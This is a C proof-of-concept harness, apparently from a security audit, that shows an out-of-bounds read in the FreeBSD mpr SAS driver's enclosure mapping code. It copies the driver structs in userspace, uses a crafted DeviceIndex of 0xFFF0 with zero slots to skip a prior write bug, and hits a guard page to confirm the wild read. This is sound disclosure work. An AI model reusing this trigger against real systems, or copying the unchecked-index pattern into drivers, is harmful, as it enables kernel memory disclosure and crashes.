DF-3915 / harness_df3915.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 | /* * DF-3915 harness: stale enclosure start_index (from DPM pg0 DeviceIndex) * drives a WILD OOB READ in _mapping_commit_enc_entry() * (sys/dev/raid/mpr/mpr_mapping.c:129-130). * * This is an OBJECT-LEVEL proof. The mpr driver cannot attach on the audit * QEMU guest (no LSI/Avago SAS3 HBA, see env.txt), so the kernel path is * not runtime-reachable here. The harness replicates the exact structs and * index flow to prove the read primitive. * * Cited path (pass 2, GLM 5.3): * mpr_mapping.c:2251 dev_idx = le16toh(dpm_entry->DeviceIndex) (u16, fw) * mpr_mapping.c:2293-2295 * num_slots = MappingInformation & 0x07F0 >> 4 * -> slot count CAN be 0 (slot bits zero) * mpr_mapping.c:2310 et_entry->start_index = dev_idx; (unchecked u16) * mpr_mapping.c:2311 et_entry->dpm_entry_num = entry_num; (valid) * mpr_mapping.c:2328 for (map_idx = dev_idx; * map_idx < (dev_idx + num_slots); ...) * -> with num_slots == 0 the loop body NEVER runs, * so DF-1282's OOB write in this same function is * NOT triggered; the stale entry survives quietly * mpr_mapping.c:2481-2493 (mpr_mapping_check_devices) * if (!et_entry->init_complete) { * et_entry->missing_count++; * if (et_entry->dpm_entry_num != MPR_DPM_BAD_IDX) * _mapping_commit_enc_entry(sc, et_entry); * } * mpr_mapping.c:129 mt_entry = &sc->mapping_table[et_entry->start_index]; * mpr_mapping.c:130 dpm_entry->DeviceIndex = htole16(mt_entry->id); * -> wild read up to 65535*32 = 2097120 bytes past * the mapping_table allocation * * Build: cc -O2 -Wall -o harness_df3915 harness_df3915.c * Run: ./harness_df3915 */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <signal.h> #include <setjmp.h> #include <sys/mman.h> struct dev_mapping_table { /* mprvar.h:113 */ uint64_t physical_id; uint32_t device_info; uint32_t phy_bits; uint16_t dpm_entry_num; uint16_t dev_handle; uint16_t reserved1; uint16_t id; uint8_t missing_count; uint8_t init_complete; uint8_t TLR_bits; uint8_t reserved2; }; struct enc_mapping_table { /* mprvar.h:141 - relevant fields */ uint64_t enclosure_id; uint32_t start_index; uint32_t phy_bits; uint16_t dpm_entry_num; uint16_t enc_handle; uint16_t num_slots; uint16_t start_slot; uint8_t missing_count; uint8_t removal_flag; uint8_t skip_search; uint8_t init_complete; }; #define MPR_MAPTABLE_BAD_IDX 0xFFFFFFFFu #define MPR_DPM_BAD_IDX 0xFFFFu #define MAX_DEVICES 264u #define ATTACK_DEV_IDX 0xFFF0u /* DPM DeviceIndex (fw/NVRAM), 65520 */ #define PAGE_SZ 4096u static sigjmp_buf jb; static volatile sig_atomic_t fault_seen; static void *fault_addr; static void segv_handler(int sig, siginfo_t *si, void *uc) { (void)sig; (void)uc; fault_addr = si->si_addr; fault_seen = 1; siglongjmp(jb, 1); } int main(void) { struct dev_mapping_table *mapping_table; struct enc_mapping_table et; struct dev_mapping_table *mt_entry; struct sigaction sa; size_t table_bytes = (size_t)MAX_DEVICES * sizeof(struct dev_mapping_table); size_t wild_off; uint16_t read_id; /* * Stand in for kmalloc(max_devices*32): an anonymous mapping of the * table size rounded up to a page, with a PROT_NONE guard page * immediately after it. In the kernel, mapping_table is a slab * object; +65520*32 (~2 MB) past it is unrelated heap (read may or * may not fault); the guard page here proves the access is wild. */ size_t maplen = (table_bytes + PAGE_SZ - 1) & ~(size_t)(PAGE_SZ - 1); char *base = mmap(NULL, maplen + PAGE_SZ, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (base == MAP_FAILED) { perror("mmap"); return (1); } if (mprotect(base + maplen, PAGE_SZ, PROT_NONE) != 0) { perror("mprotect"); return (1); } mapping_table = (struct dev_mapping_table *)base; /* DPM pg0 ingestion (mpr_mapping.c:2284-2315, Enc/Slot mode): * enclosure entry with slot bits == 0 and out-of-range DeviceIndex. */ memset(&et, 0, sizeof(et)); et.enclosure_id = 0x5141524153534242ULL; et.start_index = ATTACK_DEV_IDX; /* :2310, unchecked dev_idx */ et.dpm_entry_num = 3; /* :2311, valid entry_num */ et.num_slots = 0; /* :2293 slot bits == 0 */ et.missing_count = 0; et.init_complete = 0; /* Prove the DF-1282 bypass: the reservation loop :2328-2347 writes * NOTHING when num_slots == 0, so no OOB write happens first. */ { struct dev_mapping_table *p = &mapping_table[et.start_index]; uint32_t map_idx; uint32_t n = 0; /* the loop condition itself, evaluated without dereferencing */ for (map_idx = et.start_index; map_idx < (et.start_index + et.num_slots); map_idx++, p++) n++; /* never executes: 0xFFF0 < 0xFFF0 is false */ printf("DF-3915 object-level proof\n"); printf(" DPM entry: dev_idx=0x%04x num_slots=%u dpm_entry_num=%u\n", ATTACK_DEV_IDX, et.num_slots, et.dpm_entry_num); printf(" reservation loop (:2328) iterations: %u " "(DF-1282 write BYPASSED)\n", n); } /* mpr_mapping_check_devices (:2481-2493) -> commit */ if (et.dpm_entry_num != MPR_DPM_BAD_IDX) { /* _mapping_commit_enc_entry :129-130 */ wild_off = (size_t)et.start_index * sizeof(struct dev_mapping_table); printf(" mapping_table size : %zu bytes (max_devices=%u)\n", table_bytes, MAX_DEVICES); printf(" start_index*32 : %zu bytes past base\n", wild_off); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_SIGINFO; sigemptyset(&sa.sa_mask); sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); fault_seen = 0; if (sigsetjmp(jb, 1) == 0) { /* the exact kernel dereference */ mt_entry = &mapping_table[et.start_index]; read_id = mt_entry->id; /* :130 */ printf(" read mt_entry->id : 0x%04x " "(silent garbage; kernel feeds it to NVRAM)\n", read_id); } if (fault_seen) { printf(" dereference FAULTED at : %p " "(alloc %p..%p, +%zu past end)\n", fault_addr, base, base + table_bytes, (size_t)((char *)fault_addr - (base + table_bytes))); } printf("RESULT: WILD READ PRIMITIVE PROVEN - index 0x%04x * 32 " "= %zu bytes past a %zu-byte allocation%s\n", ATTACK_DEV_IDX, wild_off, table_bytes, fault_seen ? " (guard page hit)" : ""); } munmap(base, maplen + PAGE_SZ); return (0); } |